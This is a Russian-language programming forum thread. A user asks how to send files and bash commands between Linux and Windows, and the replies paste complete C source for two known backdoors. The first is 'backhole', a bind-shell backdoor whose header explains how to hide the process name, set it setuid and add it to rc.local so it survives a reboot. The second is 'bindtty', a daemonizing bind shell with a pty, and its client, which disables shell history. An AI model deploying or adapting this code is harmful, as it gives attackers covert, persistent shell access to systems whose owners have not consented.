Всем здрасти!
Вощем, надо разработать программу (или взять готовую, если найдется) для сабжа.
Задачи программы:
1) Пересылка файлов в обе стороны. Причем умение записи/чтения файлов устройств — обязательно!
Размеры файлов до 128Мб (от 0 байт, причем большие редко, чаще — до 128кБ)
2) Выполнение команд формата bash в линуксе с передачей результата в виде текста в винду.
Для выполнения команд думаю использовать запущенный в фоне bash (для реализации некоей консоли).
Думаю над реализацией нескольких таких самолепных консолей.
Вот такая задача. Вопрос к знатокам: что лучше применить? Думаю применить простейшие сокеты. Однако, хочется параллельно освоить новое что-либо

Может, есть какие-либо более высокоуровневые библиотеки для реализации обмена?
В сетях опыта нет, поэтому прошу не пинать

Если лень что-то сочинять — просто укажите пальцем на адрес в инете
Да, для пересылки файлов можно FTP использовать...
А можно и не использовать, если вам не надо листинга лиректорий, можно вообшще, передавать только имя файла и содержимое — ВСЁ!!!
А bash, ну дык, просто цепляешь bash на сокет и всё. Хотя не всё так просто, если его просто на сокет цеплять, то фигня будет, сам bash нужно к одной части консоли цеплять, а сокет — к другой.
Закрываешь стандартные stdout, stderr открывешь сокет, делаешь dup2()... По-моему всё просто. Можно за пару дней сделать...
/*
I needed a basic backdoor and most of the ones I ran across had so
many bells and whistles, or were coded in eLe3t c0d3 that they were
useless. I didn't need something that took a week to figure out and
configure, and I didn't need shit that was made as a joke. This is a
small, portable, and functional fake daemon. You tell it what you want
it to run as under 'ps' and what port to bind to in the defines below.
The smart thing to do would be to put this into the rc files so it will
start up if they find you and reboot. I'd also change it's name to
something no one will suspect. PS. if you think this is gay, (filtered) you..
to complie:
# gcc backhole.c -o backhole
to run:
# ./backhole &
i.e. # mv backhole /some/path/fakemail
# chmod 4770 /path/to/fakemail
# echo "/path/to/fakemail &" >> /etc/rc.d/rc.local
# /path/to/fakemail &
coded by Bronc Buster
Feb 1999
*/
#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <strings.h>
/*****************************************************/
/* Changes these two defines or this won't work! <g>*/
/*****************************************************/
/* Change P to be the port you want this to listen on */
#define P 12345
/* Change HIDE to the name you want this to show as in a ps */
#define HIDE "I_did_not_change_HIDE"
#define SH "/bin/sh"
#define LISTN 5
int main(int argc, char **argv)
{
/* welcome mesg */
char *fst = "\nConnected!\n\n";
char *sec = "This fine tool coded by Bronc Buster\n";
char *thr = "Please enter each command followed by ';'\n";
int outsock, insock, sz;
/* set up two structs for in and out */
struct sockaddr_in home;
struct sockaddr_in away;
/* set port, proto and bzero for BIND */
home.sin_family=AF_INET;
home.sin_port=htons(P);
home.sin_addr.s_addr=INADDR_ANY;
bzero(&(home.sin_zero),8);
/* changing the name that will appear */
strcpy(argv[0],HIDE);
/* catch the SIG */
signal(SIGCHLD,SIG_IGN);
/* here we go! */
if((outsock=socket(AF_INET,SOCK_STREAM,0))<0)
exit(printf("Socket error\n"));
if((bind(outsock,(struct sockaddr *)&home,sizeof(home))<0))
exit(printf("Bind error\n"));
if((listen(outsock,LISTN))<0)
exit(printf("Listen error\n"));
sz=sizeof(struct sockaddr_in);
/* infinate loop - wait for accept*/
for(;;)
{
if((insock=accept(outsock,(struct sockaddr *)&away, &sz))<0)
exit(printf("Accept error"));
if(fork() !=0)
{
send(insock,fst,strlen(fst),0); /* send out welcome mesg */
send(insock,sec,strlen(sec),0);
send(insock,thr,strlen(thr),0);
dup2(insock,0); /* open stdin */
dup2(insock,1); /* open stdout */
dup2(insock,2); /* open stderr */
execl(SH,SH,(char *)0); /* start our shell */
close(insock);
exit(0); /* all done, leave and close sock */
}
close(insock);
}
}
Токо с таким кодом нужно ; ставить после команды, и вообще, криво, а чтоб не криво — это нужно через tty пускать bash.
А вот этот говорят что с tty.
Bindshell
Grad kam eine nette kleine bindshell ueber full-disclosure, sowas sollte man sich mal aufheben (fedor.c), dazu findet sich dann auch noch der client sowie weitere Dinge auf
http://hysteria.sk/sd/f/junk/bindshell/
bindtty.c:
/*
bindtty - like bindshell, but with tty
Features:
- it can handle any number of clients
- allocates tty for each session
- no using termios.h/tty.h: compiles on most of gccs
- linux specific ;(
by sd
*/
#define HOME "/tmp"
#define TIOCSCTTY 0x540E
#define TIOCGWINSZ 0x5413
#define TIOCSWINSZ 0x5414
#define ECHAR 0x1d
#define PORT 7832
#define BUF 32768
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
struct winsize {
unsigned short ws_row;
unsigned short ws_col;
unsigned short ws_xpixel;
unsigned short ws_ypixel;
};
/* creates tty/pty name by index */
void get_tty(int num, char *base, char *buf)
{
char series[] = "pqrstuvwxyzabcde";
char subs[] = "0123456789abcdef";
int pos = strlen(base);
strcpy(buf, base);
buf[pos] = series[(num >> 4) & 0xF];
buf[pos+1] = subs[num & 0xF];
buf[pos+2] = 0;
}
/* search for free pty and open it */
int open_tty(int *tty, int *pty)
{
char buf[512];
int i, fd;
fd = open("/dev/ptmx", O_RDWR);
close(fd);
for (i=0; i < 256; i++) {
get_tty(i, "/dev/pty", buf);
*pty = open(buf, O_RDWR);
if (*pty < 0) continue;
get_tty(i, "/dev/tty", buf);
*tty = open(buf, O_RDWR);
if (*tty < 0) {
close(*pty);
continue;
}
return 1;
}
return 0;
}
/* to avoid creating zombies ;) */
void sig_child(int i)
{
signal(SIGCHLD, sig_child);
waitpid(-1, NULL, WNOHANG);
}
void hangout(int i)
{
kill(0, SIGHUP);
kill(0, SIGTERM);
}
int main()
{
int pid;
struct sockaddr_in serv;
struct sockaddr_in cli;
int sock;
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) {
perror("socket");
return 1;
}
bzero((char *) &serv, sizeof(serv));
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
serv.sin_port = htons(PORT);
if (bind(sock, (struct sockaddr *) &serv, sizeof(serv)) < 0) {
perror("bind");
return 1;
}
if (listen(sock, 5) < 0) {
perror("listen");
return 1;
}
printf("Daemon is starting..."); fflush(stdout);
pid = fork();
if (pid !=0 ) {
printf("OK, pid = %d\n", pid);
return 0;
}
/* daemonize */
setsid();
chdir("/");
pid = open("/dev/null", O_RDWR);
dup2(pid, 0);
dup2(pid, 1);
dup2(pid, 2);
close(pid);
signal(SIGHUP, SIG_IGN);
signal(SIGCHLD, sig_child);
while (1) {
int scli;
int slen;
slen = sizeof(cli);
scli = accept(sock, (struct sockaddr *) &cli, &slen);
if (scli < 0) continue;
pid = fork();
if (pid == 0) {
int subshell;
int tty;
int pty;
fd_set fds;
char buf[BUF];
char *argv[] = {"sh", "-i", NULL};
#define MAXENV 256
#define ENVLEN 256
char *envp[MAXENV];
char envbuf[(MAXENV+2) * ENVLEN];
int j, i;
char home[256];
/* setup enviroment */
envp[0] = home;
sprintf(home, "HOME=/tmp", HOME);
j = 0;
do {
i = read(scli, &envbuf[j * ENVLEN], ENVLEN);
envp[j+1] = &envbuf[j * ENVLEN];
j++;
if ((j >= MAXENV) || (i < ENVLEN)) break;
} while (envbuf[(j-1) * ENVLEN] != '\n');
envp[j+1] = NULL;
/* create new group */
setpgid(0, 0);
/* open slave & master side of tty */
if (!open_tty(&tty, &pty)) {
char msg[] = "Can't fork pty, bye!\n";
write(scli, msg, strlen(msg));
close(scli);
exit(0);
}
/* fork child */
subshell = fork();
if (subshell == 0) {
/* close master */
close(pty);
/* attach tty */
setsid();
ioctl(tty, TIOCSCTTY);
/* close local part of connection */
close(scli);
close(sock);
signal(SIGHUP, SIG_DFL);
signal(SIGCHLD, SIG_DFL);
dup2(tty, 0);
dup2(tty, 1);
dup2(tty, 2);
close(tty);
execve("/bin/sh", argv, envp);
}
/* close slave */
close(tty);
signal(SIGHUP, hangout);
signal(SIGTERM, hangout);
while (1) {
/* watch tty and client side */
FD_ZERO(&fds);
FD_SET(pty, &fds);
FD_SET(scli, &fds);
if (select((pty > scli) ? (pty+1) : (scli+1),
&fds, NULL, NULL, NULL) < 0)
{
break;
}
if (FD_ISSET(pty, &fds)) {
int count;
count = read(pty, buf, BUF);
if (count <= 0) break;
if (write(scli, buf, count) <= 0) break;
}
if (FD_ISSET(scli, &fds)) {
int count;
unsigned char *p, *d;
d = buf;
count = read(scli, buf, BUF);
if (count <= 0) break;
/* setup win size */
p = memchr(buf, ECHAR, count);
if (p) {
unsigned char wb[5];
int rlen = count - ((ulong) p - (ulong) buf);
struct winsize ws;
/* wait for rest */
if (rlen > 5) rlen = 5;
memcpy(wb, p, rlen);
if (rlen < 5) {
read(scli, &wb[rlen], 5 - rlen);
}
/* setup window */
ws.ws_xpixel = ws.ws_ypixel = 0;
ws.ws_col = (wb[1] << 8) + wb[2];
ws.ws_row = (wb[3] << 8) + wb[4];
ioctl(pty, TIOCSWINSZ, &ws);
kill(0, SIGWINCH);
/* write the rest */
write(pty, buf, (ulong) p - (ulong) buf);
rlen = ((ulong) buf + count) - ((ulong)p+5);
if (rlen > 0) write(pty, p+5, rlen);
} else
if (write(pty, d, count) <= 0) break;
}
}
close(scli);
close(sock);
close(pty);
waitpid(subshell, NULL, 0);
vhangup();
exit(0);
}
close(scli);
}
}
contty.c:
/*
bindtty - like bindshell, but with tty
This is client side
by sd
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ECHAR 0x1d
#define TIOCGWINSZ 0x5413
#define TIOCSWINSZ 0x5414
int winsize;
char *envtab[] =
{
"",
"",
"LOGNAME=shitdown",
"USERNAME=shitdown",
"USER=shitdown",
"PS1=[\ut@\\h \\W]\\$ ",
"HISTFILE=/dev/null",
"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:./bin",
"!TERM",
NULL
};
void sendenv(int sock)
{
struct winsize ws;
#define ENVLEN 256
char envbuf[ENVLEN+1];
char buf1[256];
char buf2[256];
int i = 0;
ioctl(0, TIOCGWINSZ, &ws);
sprintf(buf1, "COLUMNS=%d", ws.ws_col);
sprintf(buf2, "LINES=%d", ws.ws_row);
envtab[0] = buf1; envtab[1] = buf2;
while (envtab[i]) {
bzero(envbuf, ENVLEN);
if (envtab[i][0] == '!') {
char *env;
env = getenv(&envtab[i][1]);
if (!env) goto oops;
sprintf(envbuf, "%s=%s", &envtab[i][1], env);
} else {
strncpy(envbuf, envtab[i], ENVLEN);
}
write(sock, envbuf, ENVLEN);
oops:
i++;
}
write(sock, "\n\n\n", 3);
}
void winch(int i)
{
signal(SIGWINCH, winch);
winsize++;
}
int usage(char *s)
{
printf("use: %s [port]\n", s);
return 1;
}
#define BUF 16384
int main(int argc, char *argv[])
{
int port = 4000;
struct hostent *he;
struct sockaddr_in serv;
struct termios old, new;
int sock;
unsigned char buf[BUF];
fd_set fds;
int eerrno;
struct winsize ws;
/* input checks */
if (argc < 2) return usage(argv[0]);
if (argc == 3) {
if (sscanf(argv[2], "%d", &port) != 1)
return usage(argv[0]);
}
/* resolve host */
bzero((char *) &serv, sizeof(serv));
serv.sin_addr.s_addr = inet_addr(argv[1]);
if (serv.sin_addr.s_addr == INADDR_NONE) {
printf("Looking up %s...", argv[1]); fflush(stdout);
he = gethostbyname(argv[1]);
if (!he) {
printf("Failed!\n");
return 1;
}
memcpy((char *) &serv.sin_addr, (char *) he->h_addr,
sizeof(serv.sin_addr));
printf("OK\n");
}
printf("Trying %s:%d...\n", inet_ntoa(serv.sin_addr), port);
fflush(stdout);
/* connect */
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) {
perror("socket");
return 1;
}
serv.sin_family = AF_INET;
serv.sin_port = htons(port);
if (connect(sock, (struct sockaddr *) &serv, sizeof(serv)) < 0) {
perror("connect");
return 1;
}
printf(
"Connected to %s.\n"
"Escape character is '^]'\n", argv[1]);
/* send enviroment */
sendenv(sock);
/* set-up terminal */
tcgetattr(0, &old);
new = old;
new.c_lflag &= ~(ICANON | ECHO | ISIG);
new.c_iflag &= ~(IXON | IXOFF);
tcsetattr(0, TCSAFLUSH, &new);
winch(0);
while (1) {
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sock, &fds);
if (winsize) {
if (ioctl(0, TIOCGWINSZ, &ws) == 0) {
buf[0] = ECHAR;
buf[1] = (ws.ws_col >> 8) & 0xFF;
buf[2] = ws.ws_col & 0xFF;
buf[3] = (ws.ws_row >> 8) & 0xFF;
buf[4] = ws.ws_row & 0xFF;
write(sock, buf, 5);
}
winsize = 0;
}
if (select(sock+1, &fds, NULL, NULL, NULL) < 0) {
if (errno == EINTR) continue;
break;
}
if (winsize) continue;
if (FD_ISSET(0, &fds)) {
int count = read(0, buf, BUF);
int i;
if (count <= 0) break;
if (memchr(buf, ECHAR, count)) break;
if (write(sock, buf, count) <= 0) break;
}
if (FD_ISSET(sock, &fds)) {
int count = read(sock, buf, BUF);
if (count <= 0) break;
if (write(0, buf, count) <= 0) break;
}
}
close(sock);
tcsetattr(0, TCSAFLUSH, &old);
printf("\nConnection closed.\n");
return 0;
}
... << RSDN@Home 1.1.4 stable rev. 625>>